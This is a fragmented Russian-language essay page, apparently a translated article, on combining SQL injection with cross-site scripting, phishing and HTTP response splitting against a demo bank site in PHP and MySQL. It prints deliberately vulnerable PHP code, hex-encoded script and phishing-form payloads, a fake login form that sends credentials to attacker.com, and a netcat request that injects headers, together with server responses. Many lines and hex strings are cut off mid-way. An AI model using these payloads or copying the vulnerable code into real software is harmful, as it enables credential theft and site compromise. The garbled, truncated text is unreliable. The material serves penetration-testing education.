Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен
В реферате содержится информация о современных методах защиты баз данных.
while($tmp = @mysql_fetch_row($sql_query))
echo $tmp[0]; //echos the result as HTML code
} else {
echo "<h1>Welcome to My Bank</h1> <a href="?id=1">Login</a>";
}
?>
</body>
</html>
</code>
Отметим, что запрос к MySQL ожидает получить текст, который будет отображен. Веб приложение анализирует контекст, в начале сеанса вы увидите такую страницу:
После того, как пользователь щёлкнет по ссылке “Login” страница будет такой:
Описание проблемы
Этот вид проблем возникает всегда, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более.
В
таких случаях появляется возможность
использовать уязвимости на стороне
клиента. Использование UNION SELECT даёт возможность
злоумышленнику выводить в окно браузера
произвольный текст.
Реализация атаки
Давайте используем трюк для обмана опции gpc_magic_quotes установленной в On. Воспользуемся особенностью MySQL, позволяющей преобразовать шестнадцатеричные значения вида 0xXX в текст:
<code>
mysql>
select HEX('<script>alert("SiXSS");</
+----------------------
|
HEX('<script>alert("SiXSS");</
+----------------------
|
3C7363726970743E616C6572742822
+----------------------
1
row in set (0.00 sec)
</code>
И поместим это в HTTP запрос:
http://www.mybank.com?
616C6572742822536958535322293B
И увидим ответ:
Это
и есть SQL Injection for Cross Site Scripting.
Но что произойдет, если javascript отключен?
Ничего.
Фишинг (The Phishing Attack)
Мы
пришли к возможности использовать
новую технику фишинга
Давайте используем тот же самый трюк для внедрения определенного html кода.
mysql>
select HEX('<h1>My Bank</h1><p><form action="http://attacker.com/
Шестнадцатеричный код будет выглядеть так:
3C68313E4D792042616E6B3
F6E3D22687474703A2F2F617474616
70687022206D6574686F643D706F73
4643E557365723A203C2F74643E3C7
227465787422206E616D653D227573
F74723E3C74723E3C74643E5061737
3E3C696E70757420747970653D2270
270617373223E3C2F74643E3C2F747
7420747970653D7375626D69742076
F74643E3C2F74723E3C2F7461626C6
Этот код предает введенные значения полей на адрес http://attacker.com/check.php
Другая
уловка должна использоваться для того,
чтобы SELECT в исходном запросе всегда
выдавал отрицательный
http://www.mybank.com?
<html>
<head>
<title>My Bank</title>
</head>
<body>
<h1>My Bank</h1><p><form action="http://attacker.com/
</html>
Вместо реального HTML кода:
$
curl "http://www.mybank.com?id=1"
<html>
<head>
<title>My Bank</title>
</head>
<body>
<h1>My Bank</h1><p><form action="check.php"
method=post><table><tr><td>
</body>
</html>
SiHRS – SQL инъекции для реализации атак HTTP Response Splitting
Среда для тестирования
В CMS или в рекламной системе может возникнуть необходимость в индексации адресов URL, запрос к базе данных должен возвращать URL по определенному id.
Создадим среду для успешного применения SiXSS, на этот раз это будет система перенаправления.
<code>
CREATE DATABASE url_db;
USE url_db;
GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost'
IDENTIFIED BY PASSWORD '';
CREATE TABLE url_table (
id INT PRIMARY KEY AUTO_INCREMENT,
url TEXT
);
INSERT INTO url_table (url) VALUES
('https://brokerage.
</code>
для файла url_db.sql, и:
<code>
<?
if (isset($_GET['id'])) {
$myconns = mysql_connect("127.0.0.1","
or die("sorry can`t connect");
mysql_select_db("url_db") or
die("sorry can`t select DB");
$sql_query = mysql_query("SELECT url from url_table
where id=".$_GET['id']." LIMIT 1") or die("sorry3)";
$tmp = mysql_fetch_row($sql_query);
header("Location: ".$tmp[0]);
} else
header("Location: http://www.mybank.com/index.
?>
</code>
redir.php
скрипт выполняющий
Это означает, что если сформировать запрос подобно этому:
$
curl “http://www.mybank.com/redir.
мы получим ответ, который переадресует нас к другой странице:
HTTP/1.1
302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT
Server: Apache-AdvancedExtranetServer/
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/
Content-Type: text/html
Теоретически
становится возможным выполнение атаки
HTTP Response Splitting [5].
Описание проблемы
Этот вид проблем возникает всегда, когда есть определенный URL полученный из базы данных для перенаправления, используя поле 'Location' HTTP заголовка. SIHRS должен быть проверен при проведении испытания на проникновение также как и SiXSS, HTTP Response Splitting, XSS и Phishing.
Условия для проведения атаки могут быть ограничены как в примере с SiXSS, но должны быть удобны для использования UNION SELECT для внедрения классических строк, значение которых объясняется в [5].
Реализация атаки
Только ради исследования этой концепции давайте рассмотрим простейший пример атаки:
<code>
mysql> select HEX('index.php
'> Content-Length: 0
'>
'> HTTP/1.1 200 OK
'> Content-Type: text/html
'> Content-Length: 19
'>
'> <html>Shazam</html>
'> ');
</code>
Так
это будет выглядеть в
696E6465782E7068700A436
D0A485454502F312E3120323030204
653A20746578742F68746D6C0D0A43
031390D0A0D0A3C68746D6C3E53686
Далее мы отсылаем отравленный запрос:
$
echo -ne "GET /redir.php?id=1+and+2%3d%34+
696E6465782E7068700A436F6E7465
D0A485454502F312E3120323030204
653A20746578742F68746D6C0D0A43
031390D0A0D0A3C68746D6C3E53686
HTTP/1.1r
<code>
Host: www.mybank.comr
Pragma: no-cacher
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, */*r
r
"
|nc www.mybank.com 80
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 22:58:21 GMT
Server: Apache PHP/4.3.8
X-Powered-By: PHP/4.3.8
Location: index.php
Content-Length:
0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length:
19
<html>Shazam</html>
Content-Length: 0
Content-Type: text/html
</code>
Для
понимания, как это может быть
использовано, обратитесь к источнику
[5].
Дополнение
Что случилось бы если вместо:
<code>
echo
$tmp[0]; //выводит результат в виде HTML кода
</code>
в index.php был вызов функции 'eval()' ?
<code>
eval($tmp[0]); //eval выполняет php код расположенный в базе данных..
</code>
На ум приходят страшные мысли..
Используя UNION SELECT мы можем выполнять любой php код, делая уязвимым сервер.
К
счастью — это редко
«Просто
позвольте фантазии быть вашим кораблем
в потоке сознания» ©...